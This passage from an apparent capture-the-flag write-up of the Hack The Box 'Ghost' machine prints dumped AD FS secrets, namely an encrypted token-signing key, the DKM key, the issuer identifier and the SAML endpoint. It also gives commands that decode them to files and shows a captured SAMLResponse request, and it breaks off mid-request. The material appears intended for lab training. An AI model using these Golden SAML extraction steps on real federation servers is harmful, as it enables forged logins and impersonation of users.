class="nx">nemOc20fIrHZmTlPAh07OhK44/aRELISKPsR2Vjc/0bNiX8rIDjkvrD/KaJ8yDKdoQYHw8G</span><span class="o">+</span><span class="nx">hU3dZMNpYseefw5KmI9q</span><span class="o">+</span><span class="nx">SWRZEYJCPmFOS</span><span class="o">+</span><span class="nx">DyQAiKxMi</span><span class="o">+</span><span class="nx">hrmaZUsyeHv96cpo2OkAXNiF3T5dpHSXxLqIHJh3JvnFP9y2ZY</span><span class="o">+</span><span class="nx">w9ahSR6Rlai</span><span class="o">+</span><span class="nx">SokV5TLTCY7ah9yP/W1IwGuA4kyb0Tx8sdE0S/5p1A63</span><span class="o">+</span><span class="nx">VwhuANv2NHqI</span><span class="o">+</span><span class="nx">YDXCKW4QmwYTAeJuMjW/mY8hewBDw</span><span class="o">+</span><span class="nx">xAbSaY4RklYL85fMByon9AMe55Jaozk8X8IvcW6</span><span class="o">+</span><span class="nx">m3V/zkKRG7srLX5R7ii3C4epaZPVC5NjNgpBkpT31X7ZZZIyphQIRNNkAve49oaquxVVcrDNyKjmkkm8XSHHn153z/yK3mInTMwr2FJU3W7L/Kkvprl34Tp5fxC7G/KRJV7/GKIlBLU0BlNZbuDm7sYPpRdzhAkna4</span><span class="o">+</span><span class="nx">c4r8gb2M5Qjasqit7kuPeCRSxkCgmBhrdvg4PCU6QRueIZ795qjWPKeJOs88c7sdADJiRjQSrcUGCAU59wTG0vB4hhO3D87sbdXCEa74/YXiR7mFgc7upx/JpV</span><span class="o">+</span><span class="nx">KcCEVPdJQAhpfyVJGmWDJZBvVXoNC2XInsJZJf81Oz</span><span class="o">+</span><span class="nx">qBxbZo</span><span class="o">+</span><span class="nx">ZzJxeqxgROdxc</span><span class="o">+</span><span class="nx">q5Qy6c</span><span class="o">+</span><span class="nx">CC8Kg3ljMQNdzxpk6AVd0/nbhdcPPmyG6tHZVEtNWoLW5SgdSWf/M0tltJ/yRii0hxFBVQwRgFSmsKZIDzk5</span><span class="o">+</span><span class="nx">OktW7Rq3VgxS4dj97ejfFbnoEbbvKl9STRPw/vuRbQaQF15ZnwlQ0fvtWuWbJUTiwXeWmp1yQMU/qWMV/LtyGRl4eZuROzBjd</span><span class="o">+</span><span class="nx">ujf8/Q6YSdAMR/o6ziKBHXrzaF8dH9XizNux0kPdCgtcpWfW</span><span class="o">+</span><span class="nx">aKEeiWiYDxpOzR8Wmcn</span><span class="o">+</span><span class="nx">Th0hDD9</span><span class="o">+</span><span class="nx">P5YeZ85p/NkedO7eRMi38lOIBU2nT3oupJMGnnNj1EUd2z8gMcW/</span><span class="o">+</span><span class="nx">VekgfN</span><span class="o">+</span><span class="nx">ku5yxi3b9pvUIiCatHgp6RRb70fdNkyUa6ahxM5zS1dL/joGuoIJe26lpgqpYz1vZa15VKuCRU6v62HtqsOnB5sn6IhR16z3H416uFmXc9k4WRZQ0zrZjdFm</span><span class="o">+</span><span class="nx">WPAHoWAufzAdZP/pdYv1IsrDoXsIAyAgw3rEzcwKs6XA5K9kihMIZXXEvtU2rsNGevNCjFqNMAS9BeNi9r/XjHDXnFZv6OQpfYJUPiUmumE</span><span class="o">+</span><span class="nx">DYXZ/AP/MPSDrCkLKVPyip7xDevBN/BEsNEUSTXxm</span><span class="w">
</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="n">Encrypted</span><span class="w"> </span><span class="nx">Token</span><span class="w"> </span><span class="nx">Signing</span><span class="w"> </span><span class="nx">Key</span><span class="w"> </span><span class="nx">End</span><span class="w">

</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="n">Certificate</span><span class="w"> </span><span class="nx">value:</span><span class="w"> </span><span class="nx">0818F900456D4642F29C6C88D26A59E5A7749EBC</span><span class="w">
</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="n">Store</span><span class="w"> </span><span class="nx">location</span><span class="w"> </span><span class="nx">value:</span><span class="w"> </span><span class="nx">CurrentUser</span><span class="w">
</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="n">Store</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">value:</span><span class="w"> </span><span class="nx">My</span><span class="w">

</span><span class="c">## Reading The Issuer Identifier</span><span class="w">
</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="n">Issuer</span><span class="w"> </span><span class="nx">Identifier:</span><span class="w"> </span><span class="nx">http://federation.ghost.htb/adfs/services/trust</span><span class="w">
</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="n">Detected</span><span class="w"> </span><span class="nx">AD</span><span class="w"> </span><span class="nx">FS</span><span class="w"> </span><span class="nx">2019</span><span class="w">
</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="n">Uncharted</span><span class="w"> </span><span class="nx">territory</span><span class="o">!</span><span class="w"> </span><span class="nx">This</span><span class="w"> </span><span class="nx">might</span><span class="w"> </span><span class="nx">not</span><span class="w"> </span><span class="nx">work...</span><span class="w">
</span><span class="c">## Reading Relying Party Trust Information from Database</span><span class="w">
</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> 
</span><span class="n">core.ghost.htb</span><span class="w">
 </span><span class="o">==================</span><span class="w">
    </span><span class="n">Enabled:</span><span class="w"> </span><span class="nx">True</span><span class="w">
    </span><span class="n">Sign-In</span><span class="w"> </span><span class="nx">Protocol:</span><span class="w"> </span><span class="nx">SAML</span><span class="w"> </span><span class="nx">2.0</span><span class="w">
    </span><span class="n">Sign-In</span><span class="w"> </span><span class="nx">Endpoint:</span><span class="w"> </span><span class="nx">https://core.ghost.htb:8443/adfs/saml/postResponse</span><span class="w">
    </span><span class="n">Signature</span><span class="w"> </span><span class="nx">Algorithm:</span><span class="w"> </span><span class="nx">http://www.w3.org/2001/04/xmldsig-more</span><span class="c">#rsa-sha256</span><span class="w">
    </span><span class="n">SamlResponseSignatureType:</span><span class="w"> </span><span class="nx">1</span><span class="p">;</span><span class="w">
    </span><span class="n">Identifier:</span><span class="w"> </span><span class="nx">https://core.ghost.htb:8443</span><span class="w">
    </span><span class="n">Access</span><span class="w"> </span><span class="nx">Policy:</span><span class="w"> </span><span class="err">&lt;</span><span class="nx">PolicyMetadata</span><span class="w"> </span><span class="nx">xmlns:i</span><span class="o">=</span><span class="s2">"http://www.w3.org/2001/XMLSchema-instance"</span><span class="w"> </span><span class="n">xmlns</span><span class="o">=</span><span class="s2">"http://schemas.datacontract.org/2012/04/ADFS"</span><span class="err">&gt;</span><span class="w">
  </span><span class="err">&lt;</span><span class="n">RequireFreshAuthentication</span><span class="err">&gt;</span><span class="nx">false</span><span class="err">&lt;</span><span class="nx">/RequireFreshAuthentication</span><span class="err">&gt;</span><span class="w">
  </span><span class="err">&lt;</span><span class="n">IssuanceAuthorizationRules</span><span class="err">&gt;</span><span class="w">
    </span><span class="err">&lt;</span><span class="n">Rule</span><span class="err">&gt;</span><span class="w">
      </span><span class="err">&lt;</span><span class="n">Conditions</span><span class="err">&gt;</span><span class="w">
        </span><span class="err">&lt;</span><span class="n">Condition</span><span class="w"> </span><span class="nx">i:type</span><span class="o">=</span><span class="s2">"AlwaysCondition"</span><span class="err">&gt;</span><span class="w">
          </span><span class="err">&lt;</span><span class="n">Operator</span><span class="err">&gt;</span><span class="nx">IsPresent</span><span class="err">&lt;</span><span class="nx">/Operator</span><span class="err">&gt;</span><span class="w">
        </span><span class="err">&lt;</span><span class="n">/Condition</span><span class="err">&gt;</span><span class="w">
      </span><span class="err">&lt;</span><span class="n">/Conditions</span><span class="err">&gt;</span><span class="w">
    </span><span class="err">&lt;</span><span class="n">/Rule</span><span class="err">&gt;</span><span class="w">
  </span><span class="err">&lt;</span><span class="n">/IssuanceAuthorizationRules</span><span class="err">&gt;</span><span class="w">
</span><span class="err">&lt;</span><span class="n">/PolicyMetadata</span><span class="err">&gt;</span><span class="w">


    </span><span class="n">Access</span><span class="w"> </span><span class="nx">Policy</span><span class="w"> </span><span class="nx">Parameter:</span><span class="w"> 
    
    </span><span class="n">Issuance</span><span class="w"> </span><span class="nx">Rules:</span><span class="w"> </span><span class="err">@</span><span class="nx">RuleTemplate</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"LdapClaims"</span><span class="w">
</span><span class="err">@</span><span class="n">RuleName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"LdapClaims"</span><span class="w">
</span><span class="n">c:</span><span class="p">[</span><span class="n">Type</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">"http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"</span><span class="p">,</span><span class="w"> </span><span class="n">Issuer</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">"AD AUTHORITY"</span><span class="p">]</span><span class="w">
 </span><span class="o">=</span><span class="err">&gt;</span><span class="w"> </span><span class="n">issue</span><span class="p">(</span><span class="n">store</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Active Directory"</span><span class="p">,</span><span class="w"> </span><span class="n">types</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="s2">"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"</span><span class="p">,</span><span class="w"> </span><span class="s2">"http://schemas.xmlsoap.org/claims/CommonName"</span><span class="p">),</span><span class="w"> </span><span class="n">query</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">";userPrincipalName,sAMAccountName;{0}"</span><span class="p">,</span><span class="w"> </span><span class="kr">param</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">c.Value</span><span class="p">);</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We’ve gathered several things that’s useful to us.</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">DKMPK</code></li>
  <li><code class="language-plaintext highlighter-rouge">Signing Key</code></li>
  <li><code class="language-plaintext highlighter-rouge">http://federation.ghost.htb/adfs/services/trust</code> - issuer identifier</li>
  <li><code class="language-plaintext highlighter-rouge">https://core.ghost.htb:8443/adfs/saml/postResponse</code> - sign-in endpoint</li>
</ul>

<p>I’ll grab the binary of our <code class="language-plaintext highlighter-rouge">dkmPK</code></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="s1">'8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1'</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">tr</span><span class="w"> </span><span class="nt">-d</span><span class="w"> </span><span class="s1">'-'</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">xxd</span><span class="w"> </span><span class="nt">-r</span><span class="w"> </span><span class="nt">-p</span><span class="w"> </span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">/dkmKey.bin</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>And the same for the <code class="language-plaintext highlighter-rouge">Signing Key</code></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="s1">'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'</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">base64</span><span class="w"> </span><span class="nt">-d</span><span class="w"> </span><span class="err">&gt;</span><span class="w"> </span><span class="nx">EncryptedPfx.bin</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Visiting the endpoint we’re greeted by a <code class="language-plaintext highlighter-rouge">login</code> page that redirects us to an <code class="language-plaintext highlighter-rouge">AD Federation</code> login.
<img src="/assets/img/img_ghost/0008.jpeg" alt="" /></p>

<p>Attempting to login using our <code class="language-plaintext highlighter-rouge">justin.bradley</code> credentials we’re greeted with the followng unauthorized page.
<img src="/assets/img/img_ghost/0009.jpeg" alt="" /></p>

<p>However taking a look at our web requests we find the <code class="language-plaintext highlighter-rouge">POST</code> to <code class="language-plaintext highlighter-rouge">/adfs/saml/postResponse</code> with the <code class="language-plaintext highlighter-rouge">SAMLResponse</code> value.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/adfs/saml/postResponse</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">core.ghost.htb:8443</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate, br, zstd</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">6747</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">https://federation.ghost.htb</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">https://federation.ghost.htb/</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">connect.sid=s%3AAe_Kpy6kP84394IMoyDNme54D5Rg8bVJ.SeuxqejiSYl3wOQRNjHcLaOJ%2FVm2O6R4huzKSGxt86w</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Sec-Fetch-Dest</span><span class="p">:</span> <span class="s">document</span>
<span class="na">Sec-Fetch-Mode</span><span class="p">:</span> <span class="s">navigate</span>
<span class="na">Sec-Fetch-Site</span><span class="p">:</span> <span class="s">same-site</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0, i</span>

SAMLResponse=PHNhbWxwOlJlc3BvbnNlIElEPSJfZjcxYmU3ZWYtNzU3NC00YjEyLTliN2ItNWFjZDFkMGU5MjJmIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoxODowMy41NzVaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIiBJblJlc3BvbnNlVG89Il82YjRkOTk0OGRjZDk1MTgwNjdiYWI5YjQyYTgzYzMzYjgzYWI0NDY2IiB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIgLz48L3NhbWxwOlN0YXR1cz48QXNzZXJ0aW9uIElEPSJfYzg0OWM0OTctYzY4ZC00N2E2LTkyNTktY2MyYWI1YjE0OWUyIiBJc3N1ZUluc3RhbnQ9IjIwMjYtMDktMjRUMTM6MTg6MDMuNDUwWiIgVmVyc2lvbj0iMi4wIiB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI%2BPElzc3Vlcj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpTaWduZWRJbmZvPjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIiAvPjxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWctbW9yZSNyc2Etc2hhMjU2IiAvPjxkczpSZWZlcmVuY2UgVVJJPSIjX2M4NDljNDk3LWM2OGQtNDdhNi05MjU5LWNjMmFiNWIxNDllMiI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjxkczpUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiIC8%2BPC9kczpUcmFuc2Zvcm1zPjxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNzaGEyNTYiIC8%2BPGRzOkRpZ2VzdFZhbHVlPkxvVmg2bklOVGpObFV3c0FScWtkNHNQRTBiR2hwMXVpUzIwUkhpTXpaRzA9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPkhEZlR4L2U5TDlrT2J4Y0RzVENYS3BVV3FhSlFmZVRETGFLWnoxa0lLcTNkc1h0TXhlQ0hMWWQ0K1BMcXV0c3M5b0RYNmFkZ2lpR1FETDJvRk11MlZVRG9zSDNDdWVoWWh3eXp3MDRGV2pKSmtMME9hem5HY2xsS2s